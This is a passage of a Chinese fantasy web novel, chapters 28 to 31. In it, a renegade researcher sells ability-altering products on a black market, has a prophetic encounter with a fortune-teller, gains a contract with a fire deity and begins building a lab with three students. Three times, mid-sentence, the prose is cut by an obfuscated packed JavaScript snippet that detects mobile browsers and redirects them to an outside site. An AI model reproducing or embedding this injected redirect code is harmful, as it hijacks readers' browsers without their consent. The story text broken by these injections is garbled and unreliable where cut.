林曜昕的视线在两人之间移动，显然不知道发生了什么，席森啧了一声，跟林曜昕解释道：“时光之弧S级能力者，她可以复现过去发生的事情。” 这就是为什么，席森曾经极力阻止姜灿来到镇上，他知道这件事情瞒过她的可能性不大。 林曜昕像是听到了什么令人震惊的事情，不可思议地张开了嘴。 这也难怪，目前公开的S级的能力者，本国不超过十人，就连席森也仅仅是A级的水准，而姜灿姐姐……竟然这么厉害？ 姜灿对林曜昕轻笑了一声，随后看向席森，敛去笑意认真道：“我要带走桑格莉亚。你没有能力看顾她。” “不。”席森脱口而出，“她不可能信任你们。” 28. 第28章 正午的阳光高悬于头顶，小镇中心广场坐满了人。学生们、居民们，以及因为昨天的事故而赶来太阳镇的媒体们、异乡人们……整齐地坐于广场上，抬眼看向新的银袍教士。 她和戴丽长得有几分相似，年龄似乎略长几岁，听说正是戴丽女士的表亲。 银袍教士肃穆而立，她的身前是一个士兵打扮的男人，他跪于草坪之上，仰视着妆容精致的女人，手握在胸前，行了一礼。 “在这光辉的时分，我站在这里，心怀感激与敬畏，向我们至高无上的智慧之神献上最诚挚的感谢。我们感谢您赋予我们理性的光芒，让我们能够以智慧去解决问题，以知识去丰富生活。我们感谢您赋予我们辨识美善的能力，让我们能够欣赏世界的美妙，感悟生活的真谛。” 银袍教士张开双臂，诚挚行礼，赞美着他们的神明。 联合教会供奉了六位神祗，然而眼前的酷似戴丽的这位女士，还有地上的士兵，都是智慧之神的信徒，这位神明在民间也有着更为广泛的信众，许多台下的观众，也信仰这位神明。 甚至连安戈的能力，传说也是源自于智慧之神。 只是安戈本人没有任何信仰。 坐于塑料椅上的安戈眯起眼，略有些好奇地看着仪式的发展。 紧接着，银袍教士咬破了自己的手指，轻轻在士兵眉心一点。 霎时间，风停了，树静了，广场鸦雀无声，就连蝉鸣都噤了声，白色的光芒指尖蔓延，笼罩了二人全身，圣洁而美好。 站立于场外的记者急忙用相机记录下这神奇的一幕。 安戈的眼睛瞄准了银袍教士指尖的鲜血，然后意识如同被那滴鲜血锚定了一般，一切事物的速度都变慢了——安戈看到，那滴血液流入士兵的体内，伴随着事先服下的药剂，分子与分子相结合，在全身沸腾起来，基因的密码被打开，有什么在涌入，体内的非凡力量成倍增长，连带着士兵的肌肉纤维更加结实、紧绷、粗壮。 安戈拥有着B级非凡能力追踪之眼。 自从多年前就突破C级桎梏后，她的追踪范围就成倍扩大。更神奇的是，她能在不借助工具的情况下，就进入微观世界追踪探索，这也是为什么她做研究能事半功倍，更快地掌握反应原理。 “尊敬的小镇居民们，今日我站在这里，心中充满了沉痛与愤怒。我们必须正视那些在我们当中滋生的不敬与罪恶。有些人，他们获得了神赐予的能力，却不知感恩，不敬畏神明，反而骄傲自满，他们忘记了这些能力是为了让我们更好地荣耀神的名。” “罪恶的研究已经引起了神罚，地震、山火，这些难道不是警示吗？难道不是因为我们中间有人背离了神的道路，触犯了神的戒律吗？我们必须反省，必须警醒，必须回归信仰，以真诚和敬畏之心，重新获得神的宠爱。” “在此，我痛斥那些获得能力却不敬畏神明的人，痛斥那些祈祷不够虔诚的人。现在是回归的时候，是重新点燃信仰之火的时候。让我们洗净罪恶，净化心灵，以虔诚的姿态，再次赢得神的恩典。” 银袍教士沐浴在圣光中，慷慨激昂，振臂高呼。而安戈看着台上的士兵，他正在展现自己刚刚获得精进的能力，他仅仅转动手掌，就能让狂风为他展翅，树叶哗哗作响，仿佛有一支气势磅礴的乐队为他们助威。 身边的信徒们也热血沸腾，纷纷开始祈求神明的垂怜，忏悔自己过去的行为。 而这些都被摄像机一一记录下，应当是教会很好的公关材料。 安戈的眼神冰冷，银袍教士的话她已经听过无数遍，教会向来就是这样批判她这样的研究者，而现在，她已经能忽视这些话语，观察着这位士兵的能力变化，发现他已经从B级升为A级。 ——又是一个很好的观察资料，她这样想着。 紧接着，安戈的目光收回，侧目又看向唐玉一行人，这个女孩子已经是一副跃跃欲试的样子了，她微微勾唇，悄然和三人离开了会场。 今天的太阳镇出现了很多陌生面孔，这是不太常见的一件事，由于一下涌入太多异乡人，即便是安保局也无法抽出足够的人手一一盘查，因此黑市交易也更加热闹，不少稀奇货品都被摆了出来。 这条街区位置偏僻，但是人流量却并不小，道路两旁的商店、摊贩都有不少人来往光顾。 昨日，安戈已经和唐玉商议好，给了唐玉一份采购清单，因此他们今天分成了两队，一队是唐玉和艾斯，一队是安戈和林曜昕，分头行动，采买需要的物品。 这边他们刚刚分开，安戈就忽然察觉到，在身后的某个角落里，好像有什么人的目光一直锁定着自己，她不动声色地向后看去，却是什么都没看到。 “怎、怎么了？”林曜昕磕巴了一下，问道。 安戈停住脚步：“你慌什么？” “啊？我没有啊……” 安戈看了看后方，又审视地观察着林曜昕的表情，发现他迅速恢复了正常，仿佛刚才的慌张是她的错觉。 “这里有些东西，需要你帮我出手。”安戈没有继续追问，只是心中仍存着一丝警惕，“十支改造系统，能在半小时内改变人的非凡能力，你拿去二手格子商店，看有没有人愿意收。” “十支……”林曜昕不由咋舌。 安戈在逃出前身上只携带了30支，如今竟然拿出了三分之一交由二手格子商店。 二手格子商店，是黑市的一种交易方式。 私人卖家将物品寄存在店铺的格子中，让店家帮忙售卖，再从所获利润中抽成一部分给店家。这样做虽然会损失一部分金钱，但好处是买卖双方不必碰面，对于想要隐藏身份的人来说更加方便。 让林曜昕去和店家交易，这是安戈的双保险，也是她能想到的，快速获得资金的最安全方式了。 安戈立于巷子中，林曜昕点点头，然后飞快地用余光扫了一眼对面街的小摊，才低头快步走进了二手格子商店。 这一切都落在了安戈的眼中。 她立刻敏锐地去看那个小摊，只见小摊前并没有人，就连摊主都不知去哪儿乘凉了，或许正在某个阴凉角落观察着这边动静，等有了顾客再来做生意。 安戈心下疑惑更盛。 自从进了这里，她就觉得有人在跟着自己，而林曜昕，虽然他已经在极力伪装和掩饰，但那种不自然，是无法否认的。 “席森。”安戈低低地叫了一声，“是不是有人在跟着我们。” 这是从昨天安戈射伤席森以来，第一次主动和他说话，可是席森并没有回答她。 安戈知道席森并没有离开，他是并不想说话。 这下安戈的心里更没有底了，手扶着冰冷的砖石墙面，看向四周，感觉处处都是隐藏的危险。 就在这时，对面小摊前不知何时，来了一位打扮讲究时髦的男士。 这个人年纪不大， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309164|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身着零散报纸印花的衬衫，领口微微敞开，外套休闲西装和长裤，一头褐色卷发，皮肤白皙，看外貌更像是来自西南方的商人。 他站在小摊面前张望了一下，好像是没看到人，又瞧见了对面巷子中的安戈，于是径直走来，笑容温暖和煦：“你好，请问你有看到这位摊主吗？” 安戈微微一愣，摇头道：“没有。” 那人露出苦恼的神色：“啊，那可真是麻烦……” 安戈并不想和人搭话，也不打算问是什么麻烦，于是敷衍地点点头，回避开他的视线。 谁知那人自顾自地说了起来：“他不会是去中心广场看热闹了吧……这下我可少了个向导，女士你有空吗？可以做我的向导吗？我叫谢缪。” 他的眼睛弯弯，在阳光下很是好看，可是安戈心如磐石，冷漠摇头：“我没空。” 谢缪眨了下眼睛，提出了一个更具诱惑力的提议：“你做我的向导，我可以支付五千比约币的报酬。” 安戈这才抬眼又看向了他，那人轻轻俯身，态度十分友好。 五千比约币可不是个小数目。艾斯每个月能收到三百多的补助，他一人用是不缺，可是和艾琳一起用就有些捉襟见肘了；而安戈做校医的收入，也不过一个月七百。 这个叫谢缪的青年出手这么阔绰，换做是任何一个人都无法拒绝。 安戈想道，自己如果想再组建实验室，采买各类物品，必定需要大笔资金支持。再者说，赚钱后，她说不定还能雇佣更多人手保护自己，也免得受人摆布。 这个钱不赚白不赚，只是安戈还要等林曜昕出来，也还不知道方才的危险究竟是什么，于是伸出了一根手指。 谢缪微微长大眼睛：“你要一万？” 安戈的手指左右摇了摇：“不，一个问题五千，如果我不知道，就不收费。” “……”谢缪一副被哽住的样子，差点维持不住矜贵的外表，“太贵了！” 安戈摊手：“随你便咯。” 这钱她本就是无所谓赚不赚，要是谢缪嫌价格太高直接走人，也是再正常不过。 可谢缪像是跟安戈死磕上了一般，说道：“五千就五千！” “你问吧。”安戈冷淡抱着双臂。 “第一个问题，赏金猎人工会怎么走？”谢缪问道。 其实这个问题根本不值得五千比约币，因为来往黑市的人大多数都能知道，安戈像看傻子一样地看了他一眼。 “我知道这个问题根本不值这么多钱！”谢缪的表情微微扭曲。 安戈也不知道他在坚持着什么，难道就只是想让自己对他笑脸相迎？耸耸肩回应道：“我也不知道，下一个。” “你这都不知道？”谢缪费解地抓着自己精心打理过的头发，“那你还敢收钱？” 安戈觉得有些好笑，但仍然维持着自己的淡定表情：“你不也愿意付吗？” 谢缪捂着自己的胸口：“那你知不知道，改造系统哪里有卖？” 刚一说完，谢缪的脸上就浮现出了肉眼可见的后悔——她连赏金猎人工会在哪儿都不知道，又怎么会清楚这个问题的答案？自己就像个傻子！ 安戈看懂了谢缪的所思所想，却给他罕见地展现了一个微笑，她一手问谢缪要钱，另一只手指着旁边的二手格子商店说道：“进去看看吧，里面就有。” “只是能不能买到想要的能力，就看你的运气了。” 29. 第29章 “你连赏金猎人工会都不知道在哪儿，可别哄我。我先付定金，等进去看了，真的有了再结尾款。”谢缪警惕道。 安戈也无所谓，请他自便，反正她也需要等林曜昕出来，等谁不是等。 经过谢缪的打岔，安戈的神经也微微松了松，正想着刚才的那道目光是不是自己的错觉，就感觉一只冰冷柔软的手从背后拍上了她的肩膀。 安戈一怔。 她的背后是一个死胡同，刚才来到这里似乎并没有看到什么人。 “小姐，做占卜吗？” 安戈回头，那是一个三十多岁的女人，身着紫色长袍，上面星星点点地闪烁着银色的光。宽大的兜帽遮掩了对方的双眸，然而仅凭下半张脸就能看出，她的长相精致，必然是个美人。 看着这位神秘出现的占卜师，安戈沉默片刻，直接说道：“我不信这个，你找别人去吧。” 她并不相信命运。 女人花瓣样的唇勾勒出一个笑容：“难得看你有缘，免费的一次机会，你真的不再考虑一下？” 女人的笑容带着一丝神秘，安戈却从中察觉出了隐藏的危险，她下意识地想要后退一步，拉开距离，可身体却像是灌了铅一样，行动缓慢。 “安医生！好巧！”唐玉欣喜的声音从后传来，“你们买到东西了吗？” 安戈骤然清醒，仿佛刚才的身体沉重像是错觉一般。 “你是谁？占卜师？”艾斯好奇地打量了一眼安戈身旁的女人，然后挤到了她们中间，“什么好玩的东西，给我也测测呢！” 女人摇摇头：“我一天只测一位，今日和这位安医生有缘，就只测她，免费。” 于是两个小孩拉着安医生，热情地要让占卜师看看结果。 安戈知道他们是想闹着玩。她虽然对占卜不感兴趣，然而今天经历的一系列古怪让她对这位占卜师的真实目的起了疑心，于是跟着众人来到了巷子尽头。 这里摆放着一条木制长桌，桌子正中心是一个水晶球，下方铺着柔软的黑色丝绒桌布，旁边围绕着的则是各式各样的晶石和香薰。 “你把手放在水晶球上就行了。” “测的是什么？”安戈反问。 “可以预见的未来。” 安戈闻言，淡淡瞥了一眼女人，将手放在水晶球上，可是过了十几秒都没有任何动静。 “这玩意儿是坏了？”艾斯脸上浮起疑惑，不信任地敲了敲水晶球。 谁知，紧接着水晶球就开始散发出光芒，几个画面接连出现在人们眼中。 第一个画面，是艾斯在树林中奔跑，神色慌张，似乎后方有什么在追逐着他。 第二个画面，是安戈和艾琳面对面站着，艾琳哭得伤心，碧蓝色的瞳孔中盛满了泪水，安戈的脸色十分阴沉。 第三个画面，是一个陌生女子躲在一间实验室中，紧张地听着些什么。 这几个画面看起来有些关联，可是关联又不那么明确，让大家都摸不着头脑。 只有安戈，在看到最后一个画面时，心中咯噔了一下——那是因特里赫德集团的实验室，而画面上的陌生女子，则是幽灵司令的好副手，“冰美人”塞茜。明明是做关于自己未来的占卜，怎么会单独出现塞茜的画面？她们平时的接触并不多，难道她会和这位冰美人产生某些命运的交织？ 而前几个画面，显然预示着艾斯和艾琳身上将会有不好的事情发生，这一切也和她有关？安戈的心中隐隐有着不详的预感。 不过……兵来将挡水来土掩，既然她在姐弟两个身边，就一定会想办法解决这件事。 艾斯疑惑地问道：“这是什么意思？我姐姐怎么哭了？” 占卜师沉默半晌，转向安戈。 安戈等着她说话，谁知占卜师仍旧一言不发。 “你说话啊。”艾斯着急了，“我姐姐到底怎么了？” 唐玉拍拍艾斯，示意他淡定：“占卜的结果也有可能会改变的，对吧？花钱就能改吧？” 唐玉一开口，气氛顿时松弛了下来，仿佛这位占卜师就是为了收钱替人免灾，才免费做的占卜。 “不用花钱……或许也能改。”占卜师微微一笑，开口，“照顾好你身边重要的人吧。” 安戈知道，占卜师是在对她说话，她虽不解，却也点头：“当然。” 随后，占卜师衣袖一挥，面前的木桌、水晶球等物竟然凭空消失，像是从来没有出现过一般。 她缓步走出小巷，最后还看了一眼二手格子商店的方向，回头对安戈说道：“你等的人出来了。” 三人跟了上去，眼见正是林曜昕，他面色古怪地看了看占卜师，又瞧向安戈，又狐疑地目送占卜师远去。 艾斯没好气地和林曜昕抱怨，刚才的占卜师给出了坏的结果，却什么都不说，林曜昕却显得心不在焉，双目直直地盯着占卜师的背影。 看见这一幕，安戈不由得猜测，林曜昕难道和那人认识？ “你去那儿干什么了？”唐玉的关注点和艾斯不同，“那里面有我们要的东西吗？” “啊，我没看到。”林曜昕打着马虎眼，又说，“安医生，我结束了。” 这意思就是东西已经放进格子中了，只要有买家购入，钱就会打进他们账户。 安戈点点头：“嗯，再等一下，还有人欠我钱。” “谁啊？”艾斯不假思索地问。 “没想到你的消息还挺准。”开朗的男声从门口传来，“喏，这是剩下的四千块，你查收一下。” 三个小孩顿时目瞪口呆。 “这……这么多……”唐玉的舌头打着磕巴。 “哟，怎么一下多了这么多人。”谢缪的笑容阳光明媚，看起来心情不错。 安戈打开光脑，查看自己的银行账户，顿时心满意足。 为了能快速售卖，她定下的标价并不高，每支仅需一万。而格子店主需要抽成百分之三十，因此每卖出一支她都能进账七千，加起来就是七万，除此之外……还有谢缪给的五千块信息费，一共是七万五！ 等等……七万五？也就是说这十支全部卖出？ 安戈忽然想道，不会是谢缪一次性全部购买了下来吧？那这人可真够富有的！ “不错。”安戈对谢缪露出了第二个笑容，这次是满意的笑，连带着看向谢缪的目光都有些温柔了，“恭喜你，找到自己想要的东西了！” 谢缪骤然被夸，有些不好意思地挠着后脑勺，刚想说些什么，安戈又拿出自己的光脑：“我们交换一下联系方式吧，以后如果你还有事情想要了解，也可以继续问我。” 不管怎么说，这么有钱又爽快的客户，安戈并不想错过。 既然她现在打算发展自己的势力，必定要拉拢一切可拉拢的力量，发展一切可发展的销售渠道，这样她做出产品后，就能快速变成金钱。 安戈迅速地加了谢缪的好友，然后道了别，带着三人边聊边走：“要买什么？我来结账。” “真的？”唐玉的眼睛一亮，开始叭叭说道，“我刚才可是看中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351669|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不少实验器材，都买不起……” “现在不用担心了。”安戈微微一笑，“放心大胆去挑。” 口袋里有了钱，安戈不仅能给艾琳艾斯一家更多的帮助，而且能完善自己的实验室，为日后的研发做准备，也能让做出更多自保的东西，日后即便跑路也有底气。 除此之外，她还加了谢缪的联系方式——她有着预感，和这位有钱的年轻人之间，还会有更多的交易可能。 想到这些，安戈的心情也转好了不少，走路都轻快了，话也多了些。 正当他们四人兴高采烈地讨论着建造实验室的计划时，没有人发现，一道黑色的影子悄悄离开了安戈的脚底。 席森刚才一直没有出声，但他始终神经紧绷，观察着那位兜帽占卜师——世间罕见的S级强者姜灿，戒备对方可能会突然发难，强行带走安戈。 毕竟，他们昨晚的聊天结果并不愉快，姜灿始终强调要让安戈位于MAA的掌控下，警惕她投靠别的组织的可能性。 然而……不知为何，姜灿今天并未带走她，这或许和今日的占卜结果有关。 席森穿梭在黑色地带，沉默地锁紧眉头。 不多时，他就在黑市门口遇见了戴着兜帽的占卜师。 “你究竟看到了什么？”席森问，“时光之弧……既能复现过往，又能预见未来，那是什么样的未来？” “啧。”姜灿摘下兜帽，语气有些意味不明，“这倒是让我有些难办了。如果我现在把她带走，恐怕会改变那几个小孩的命运……让小男孩和他的姐姐当心些吧。” “你是说艾斯……还有艾琳？” “是，他们的相遇，是命中注定。”姜灿肯定道，“不过我也不会放过桑格莉亚，就按你说的，等一月之期到时，我再来带走她。不过……你们那会儿应该在伊比利奈岛上。” 席森想了一会儿，才说道：“岛上有危险，也有机会，或许真的需要你们出马。” “当然，我在岛上等你们。” 这边黑市门口，MAA的两位要员刚刚商定好；那边巷子口，年轻而富有的谢缪仍然有种不真实的感觉。 安戈和三个小孩很快就从他的视线里消失了，他却愣神良久，总觉得今天发生的这一切有些古怪。他想买改造系统，这东西在黑市本就不算常见，可一下碰上了十支，还有人为他指明了方向，怎么看都太凑巧了。 可是他来不及多想，这是因为他此次前来还有别的目标——在赏金猎人工会寻找一位保护自己的能力者，他和太阳镇的中间人约好了时间地点，可这位中间人迟迟不归，他又赶着开启旅途，这才找上了正巧在对面的安戈。 “抱歉抱歉，仪式看得有些久了。”中间人匆匆赶来，赔着笑。 “走吧。”谢缪的面色不虞，不复刚才的热情开朗——这也难怪，毕竟是这中间人爽约，耽误了他的行程。 “您这次想雇佣一位什么样的能力者呢？预算多少？对能力等级和类别有没有具体要求？” “你放心，预算肯定充足，给你的介绍费也不会少，我要求至少A级以上的能力。类别吗……去看看再说吧。” “好嘞。那您要雇佣多长时间？有什么特别的任务或者要求吗？” 谢缪想了想：“先试用两个月，需要陪我去伊比利奈岛，期间保护我的人身安全就行了，如果干得好，我可以考虑长期雇佣。” “好的好的，方便问一下，您去岛上是干什么嘛？” 谢缪微微侧头，笑道：“度假。” 30. 第30章 夜幕降临，疲倦也如同潮水般袭来，忙碌一天的安戈躺在狭小床铺上，沉沉睡去。 “快了……”安戈翻了个身，说着梦话，“东西快齐了。” 梦境中的她在自己的旧实验室中，正在归置整理自己熟悉的那些仪器，可是下一秒，她忽然在恍惚间意识到，她已经离开了因特里赫德集团。 紧接着，周围的一切迅速坍塌，梦中的安戈忽然置身于一片燃烧的荒原上。 天空是熔岩般的赤红色，无数灰烬像雪花般散落，而远处，有一座火山般的巨塔矗立在地平线上，塔顶盘旋着一只巨大的红色神鸟。 “桑格莉亚。” 一个声音在安戈的脑海中炸开，仿佛亿万颗行星同时咆哮，安戈立刻蹲下，捂住了自己的耳朵，闭紧双眼。 忽然，安戈感觉自己的皮肤下有什么在蠕动，她睁开双眼，发现一行行她看不懂的黑色文字从自己的指尖流出，那些文字环绕在自己的周围，然后在她的面部聚集，形成了一副护目镜。 一行黑色的文字浮现在她的视网膜上：“不要直视神明。” 安戈的瞳孔皱缩——神明？烈焰神鸟？ 那是林曜昕所信仰的神明，怎么会……出现在她的梦境中？ 对了，这是梦，可这是神明降临的梦。 安戈倏尔紧张了起来。 “桑格莉亚，你想要力量。” 安戈抬起头，透过文字环绕形成的护目镜，她看见烈焰神鸟的展开双翼，每一根羽毛都像闪烁着等离子光，金红色的光芒跃动着。 忽然之间，烈焰神鸟俯冲而下，热浪逼得安戈连连后退，可是当那对双翼即将席卷而来时，热流忽然消退，只剩下一片金红色的羽毛悬浮在空气中，缓缓飘落在眼前。 安戈看着眼前的羽毛，不明白究竟发生了什么。 “接受我的契约。” 羽毛忽然刺向她的左眼——没有疼痛，只是温热，仿佛在她的眼皮上敷了一层液态的阳光。 躺在床上的安戈忽然惊醒，眼皮睁开。安戈下意识地坐起身，喘着粗气，用手抚摸着自己的左眼。 然而她没有摸到任何伤痕。 “怎么了？”那是席森的声音。 “没什么，做噩梦了。”安戈道，“睡吧。” 可就当她准备躺下，重新入睡时，她的视野边缘忽然出现了一组半透明的红色数据。 【实验室建设】契约进度 基础设施：20% 人员招募：4/20 改造/提升系统完成量：0/500 契约奖励：非凡能力达成A级(奖励以献祭形式发放) 画面的右上角，还有一根透明色的羽毛图案，只有底部一点是金红色。 安戈本能地伸手，想要触碰那串文字，结果她的手中真的出现了一根透明的羽毛，羽毛的表面还浮动着血管般的金色纹路。 ——果然刚才的梦是真的！ 安戈盯着手中的这根羽毛，无数思维从她的脑海中掠过——这是什么？烈焰神鸟和她的契约？ 可是为什么？ 她从来没有和烈焰神鸟有什么牵扯……不对！ 安戈忽然想到，自己最为出名的非凡能力研究结果就是——火焰操纵，而这个能力明显是烈焰神鸟的管辖范畴，难道说是人造能力者数量的增多，吸引了烈焰神鸟的关注？ 可是自己建设实验室，和它有什么关系？会给它带来什么样的好处吗？ 安戈的大脑飞速运转着，她不相信世界上有免费的午餐，更何况这反而像是莫名奇妙掉落的馅饼——她能够在建设实验室的同时，获得非凡能力晋升的好事？凭什么这样的好事落在她的头上？ 她翻了个身，又叹了口气。 实在是不明白。 可是她会停下自己好不容易找到的方向吗？她会放弃吗？ 答案显而易见，她不会。 旧校舍负一楼，秘密基地。 周日，从黑市购买完东西后，安戈和三人组就直奔学校而来。 原本这间房屋只有一排桌子，一个书架，如今安戈又加装了一排桌椅和货架，上面琳琅满目地陈列着各类实验器材、用品、原材料。 安戈还想撤下墙上的海报，换做其它东西，省得每天都对着自己的脸，格外别扭，然而唐玉如同老鹰护小鸡一般，怎么也不同意，安戈只能作罢。 等到所有物品都布置妥当后，安戈就可以开始自己的计划了。 首先，她打算重新制作已经变卖的十支“改造系统”。 其次，她还要复现“改造芯片”——芯片和系统不同，经历过芯片植入手术的人，比如说林曜昕，可以永久拥有，或是提升非凡能力，不再有三十分钟的时间限制。 最后，在她拿到“抢夺”原料后，就可以优化现有技术，在这一领域中做领头羊，然后找到靠谱的客户或是盟友，利用自己的产品，或是换取金钱，或是进行合作，向因特里赫德复仇，并抗衡其它对她虎视眈眈的势力。 想要实现这些，仅凭她一人，是不行的。 因而，在唐玉等人期待的眼神中，安戈并未藏私，将自己的知识倾囊相授。 “目前，以我们所拥有的条件来说，我们只能制作临时提升或是改变非凡能力的‘改造系统’，而不能进行长期改造，制作‘改造芯片’。”安戈解释道，“一是因为我们没有存储芯片，二是因为市面上能做相关手术的医生很少，即便我们制作出来，也无法自己使用，想要变卖的话，也找不到销售渠道。” 闻言，唐玉面上并没有露出意外之色：“当然，能做出改造系统我就很满意了。” “改造系统？”艾斯问，然后用手托住了下巴，似乎在想些什么。 “怎么了？”林曜昕问道。 “这个名字听起来好耳熟。”艾斯挠了挠头，“你们听过吗？” “笨蛋！老师上课放过录像啦。”唐玉提醒道，“去年海岛非凡能力竞赛，获胜的那个帝华学院，他们在决赛里携带了这些道具。” “啊……这样啊。”艾斯后知后觉地问道，“那现在是什么情况？我们得自己做吗？” “没错，就是这个意思。”看艾斯一直在状况外，林曜昕也扶额，“你到底知不知道我们为什么要做实验啊。” “刚才不知道，现在知道了。”艾斯有点不好意思，“我还以为我们只是闹着玩呢，原来是要做这种大事啊？那如果我们做出来了，是不是就有机会拿下比赛了？” “废话，不然你以为我只是为了好玩？”唐玉气得翻了个白眼，反问道，“帝华学院的学生都非富即贵，才一人携带几支，我们要是能做出来，肯定吓他们一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361441|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳。” “这样啊……”艾斯一副恍然大悟的样子，“那我们开始吧，怎么做？” 唐玉看向安戈：“对啊，安医生，我们该怎么做，不是还缺一样‘复制’吗？” 桑格莉亚公布的改造研究材料清单中，总共需要四种非凡能力试剂，分别是“存储”、“净化”、“复制”和想要改造的目标能力——“母能力”。 现如今他们已经提取了唐玉的血液作为样本，作为“母能力”，也获得了“存储”试管和“净化”试剂，只剩下一个“复制”没有获得。 “如果只是制作‘改造系统’，并不需要用到‘复制’，这三样就够了……做芯片才需要它。”安戈说道。 唐玉和艾斯眨巴着眼睛，不知在想什么，好像是有些迟疑。林曜昕对此当然是早有预料，他知道得远比另外两人更多，对安戈的话当然是深信不疑。 安戈也明白，只有让他们真正成功后才会彻底相信自己，于是她拿起唐玉曾经写的笔记，在上面删删改改，又添写了部分内容，标注了一些注意事项，再送还给唐玉。 三人好奇地凑过去看，安戈写了什么内容。 只见这几页纸张上，密密麻麻地被填满了，而安戈在写的时候，并未参考任何资料，她只是将自己脑海中的东西化为纸张上的文字，将思维呈现。 “改造系统”的制作主要分为三大块内容，分别是非凡材料提纯，普通材料反应，以及他们相互之间的融合。 光是非凡材料的提纯，安戈就写了三页，奇怪的是，她并没有按照普通人提纯非凡材料的方式去写，而是根据艾斯所拥有的“元素分解”能力，从这一角度去提示，该如何处理手头上的非凡材料。 于是艾斯问道：“为什么这里都是我来做？难道非凡材料的提纯，只能用‘元素分解’去处理吗。” “也不是。”安戈摇头，“只是普通人进行非凡材料的提纯更为困难，不仅时间久，而且容易失败，也很难达到实验所要求的纯度，但是如果使用你的‘元素分解’，效率就能大幅度提高。” 这也是当初她所攻克的第一个难关，普通人操作起来极为麻烦，即便她拥有着“追踪之眼”，能进入微观世界追踪自己想要的元素，可是手头上的操作要求极为精细，时间把控也不容一丝闪失，屡屡失败，而有了艾斯的“元素分解”，提纯就会简单不知道多少倍。 “那这一步，温度的把控……”林曜昕指着后续的几句话又问道，“普通材料和非凡材料的反应……以及最后融合成品的几个步骤，都需要我用‘火焰操纵’来把控温度，也是因为这样更为方便？” “当然。”安戈肯定道，“有些反应的温度条件十分苛刻，比如说需要在几秒钟时间内将温度迅速升高，又要急速冷却，有时候却又要求一直恒温，普通人操作起来很困难，可是有了非凡能力，就容易了许多。” “那我呢？”唐玉迫切问着，“我的能力能做什么？” 安戈迟疑了一会儿，然后递过去一个安慰的眼神：“造门术……对于实验的用处的确不大。” 唐玉有些失落地撇了撇嘴。 安戈继续说道：“不过，你也很重要……因为你掌握最多的知识，也拥有极高的热情，可以掌握实验的整体进度，并且帮助他们两个做调整。他们是某一领域的专业人才，你则是团队的大脑。” 31. 第31章 这一番话，说得唐玉忍不住地嘴角上扬，眼睛也有了神采。 “啊？那岂不是，她来当领导，我们是打杂的。”艾斯哀嚎了出来，表达着自己的不满。 唐玉一个眼刀飞过去，艾斯又赶忙闭上了嘴巴。 “你也没有白干活。”安戈沉思了一会儿，然后笑着提醒道，“你们还记得，上周我课上布置的作业吗？” 艾斯和林曜昕一下就被稳住了，愣在那里挠着脑袋，一看就是把作业抛之脑后了。 “是人工智能阿尔法设计的训练任务啦。”唐玉无奈摇头，“你们两个，一天天的正事不干。” 安戈欣慰点头，又从身上拿出了薄如信封样的分析仪，展示出他们班级的非凡能力等级、进度以及训练计划：“没错，就是这个，阿尔法制定的训练计划。” “呃……”两个人顿时无言，最近发生的事情太多，他们明显是忘记了。 “一共是三项训练计划，体能、射击还有非凡能力。”安戈提醒道，“你们在实验中使用非凡能力，也算是完成非凡能力的训练哦。” 听到这里，艾斯闭上了嘴巴，连林曜昕也抱着那几页的笔记努力钻研了起来，不多时，三个人就嘀嘀咕咕地自己商议去了，各自拿东西准备尝试一番。 而安戈，先是观察了一会儿他们的操作，看到几人在几次尝试后慢慢熟练，就放心地去做自己的实验了。 她对这一切相当熟悉，即便没有人帮助，她也能完成。 他们分为两排，三人组那排叽叽喳喳，安戈这里却安静异常。 他们三个正在动手的兴奋劲上，也知道安戈也在这边自己操作着，但并未关注她做到了哪一步，结果如何。 他们的时间很是充裕，因为现在也不过是下午三点，他们可以在这里呆到晚上。所有人都沉浸在这新鲜的世界中，感到新奇，时间在不知不觉悄悄流逝。 然而，三人组的进展却并不顺利，直到天黑也没有完整进行过一次实验。 他们先是用了两个小时将流程大致过了一遍，然后又用了两个小时去熟悉操作，其间的失败自是不必说，耗费的体力精力也是让人疲惫。现在，他们才开始准备，完整地自己动手做一遍实验， 可是如今已经到了晚上七点，三个人的肚子也都饿了，面如土色，眼冒金星。 “不行了。”艾斯泄气地往椅子里一靠，“这也太难了，我们真的能成吗。” 艾斯，性格一直是有点急躁的，这一系列的挫败已经让他萌生了退意。 而林曜昕本就对这些没有那么感兴趣，他的不过是陪着两个小伙伴，这会儿也是消耗了许多耐性：“唐玉……要不还是算了吧，咱们也不是专业的，这还是让专业的人来搞吧。” 